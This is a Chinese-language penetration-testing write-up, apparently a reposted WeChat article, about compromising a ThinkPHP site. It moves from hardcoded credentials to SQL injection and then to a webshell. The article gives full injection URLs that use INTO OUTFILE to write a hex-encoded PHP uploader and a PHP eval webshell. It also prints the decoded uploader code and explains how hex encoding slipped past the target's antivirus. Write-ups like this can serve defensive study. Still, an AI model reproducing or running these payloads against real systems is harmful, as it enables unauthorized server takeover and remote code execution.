文章总结: 本文记录一次从SQL注入到getshell的完整渗透测试过程。攻击者通过硬编码账号登录后台,发现SQL注入漏洞后利用sqlmap结合INTOOUTFILE上传文件,通过编码绕过防火墙成功getshell。文章详细分析了payload构造中MySQL语法解析与注释符的坑,对实战渗透具有参考价值。
综合评分: 78
文章分类: 渗透测试,红队,漏洞分析
【技术分享】从sql注入到getshell
原创
xioy
xioy
我吃饼干
2026年9月28日 08:00
江苏
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
- 本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。
- 任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
- 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。
- 使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
01**
尝试
1.1
硬编码
拿到目标直接F12搜索关键字,在搜索password时找到两个账户
成功登录账号
1.2
sql注入
在后台翻了一下功能点,能用的非常少。打算放弃的时候,发现实验报告中的查看报告功能存在sql注入漏洞。
直接sqlmap验证
注入漏洞无非就是在数据库找找有没有什么敏感信息、多找几个弱口令账户之类的。原本以为到这里就结束了,没想到还有大的。
1.3
尝试getshell
无意输错路径发现目标站点是thinkphp搭建的,报错里面泄露了绝对路径。
众所周知sqlmap是可以上传文件getshell的,按照指示输入暴露的绝对路径。
sqlmap成功把上传入口传上去了。
通过上传入口上传木马,访问木马发现被删了。看来对方机器上有防火墙在拦着,但是sqlmap的上传入口文件是怎么传上去的呢,我就纳闷了,抓包看看。
02
分析
2.1
标题
输入绝对路径后sqlmap共执行了7条记录。
第一条是正常的,直接从第二条开始看,数据包:
GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2Ftmpuumap.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c77616d705c5c7777775c5c737564617765625c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1Host: 127.0.0.1X-Requested-With: XMLHttpRequestAccept-Language: zh-CN,zh;q=0.9Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brCookie: PHPSESSID=hickr1ea0g9kck24flm03h1uk0Connection: keep-alive
因为我给他的绝对路径是:C:\wamp\www\sudaweb\,所以sqlmap就在C:/wamp/www/sudaweb/路径下创建名为tmpuumap.php的文件,这时上传入口已成功上传上去。
解码内容:
<?phpif (isset($_REQUEST["upload"])) { $dir = $_REQUEST["uploadDir"]; if (phpversion() < '4.1.0') { $file = $HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } else { $file = $_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die(); } @chmod($dir . "/" . $file, 0755); echo "File uploaded";} else { echo "<form action=\"" . $_SERVER["PHP_SELF"] . "\" method=POST enctype=multipart/form-data> <input type=hidden name=MAX_FILE_SIZE value=1000000000> <b>sqlmap file uploader</b><br> <input name=file type=file><br> to directory: <input type=text name=uploadDir value=C:\\wamp\\www\\sudaweb\\> <input type=submit name=upload value=upload> </form>";}?>
3到5的数据包是sqlmap在逐层请求tmpuumap.php文件,最终在sudaweb文件夹下找到tmpuumap.php文件
然后再通过tmpuumap.php上传入口上传名为tmpbbdpo.php的木马文件
接着通过tmpbbdpo.php木马执行测试命令,并成功打印目标信息。
通过tmpbbdpo.php文件尝试执行whoami、ipconfig发现都会被拦截,且无法通过工具连接该shell。测试执行dir命令时却能够返回信息。
03
成功
3.1
getshell
后续做了好几个木马,通过上传入口传上去立马就被杀。转念一想,sqlmap通过内容编码就可以把文件传上去,那我把木马编码后再传上去试试。
原始内容:<?php @eval($_POST['1']);?>
编码后内容:3C3F70687020406576616C28245F504F53545B2731275D293B3F3E
完整请求体:GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2F1.php%27%20LINES%20TERMINATED%20BY%200x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E--%20-
成功getshell
3.2
题外
在构造请求体时有个坑,发现不能直接把十六进制填写进去,了解了一下才知道是因为MySQL语法解析和注释符造成的。
第一条MySQL解析时LINES TERMINATED BY后面需要一个字符串常量。如果0x3C…被识别为十六进制字符串,SQL语句到这里就完整了。但有些MySQL版本或配置会认为语句不完整,没有–注释符,后续URL参数可能被附加到SQL末尾,导致语法错误。
还有就是URL编码问题,第一个payload在0x3C3F…后面没有编码空格,而实际上浏览器或者服务器可能会把末尾空格截断,将0x3C3F…后的内容视为新参数,导致执行错误无法写入文件。
-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/2.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E
第二条是因为– -是MySQL注释符。– 表示注释开始, -是注释内容。
主要作用就是忽略后面所有内容,包括URL可能附加的额外参数。如果URL末尾有额外字符,也会被注释掉。MySQL只解析到–之前,所以第二条符合规范,能够写入文件。
-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/1.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E-- -
往期文章推荐
项
目
承
接
团队中的师傅们都来自国内安全厂商在职的一线工程师,均具有良好的职业素养与丰富的从业经验。
渗透测试
Web渗透、APP渗透、小程序渗透、内网渗透
CTF
培训、竞赛、解题、AWD竞赛服务
考证
NISP考证、CISP考证
TNT文库
所有文章第一时间会发布在文库中,文库中的内容全部免费开放。
访问密码每周都会更换,最新访问密码请在公众号的菜单栏:资源获取-漏洞文库中获取。
edusrc邀请码
免费不限量提供edusrc邀请码,请在公众号的菜单栏:资源获取-edusrc邀请码中获取。
END
点个「推荐」 我的零食分你一半
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:我吃饼干 xioy
xioy《【技术分享】从sql注入到getshell》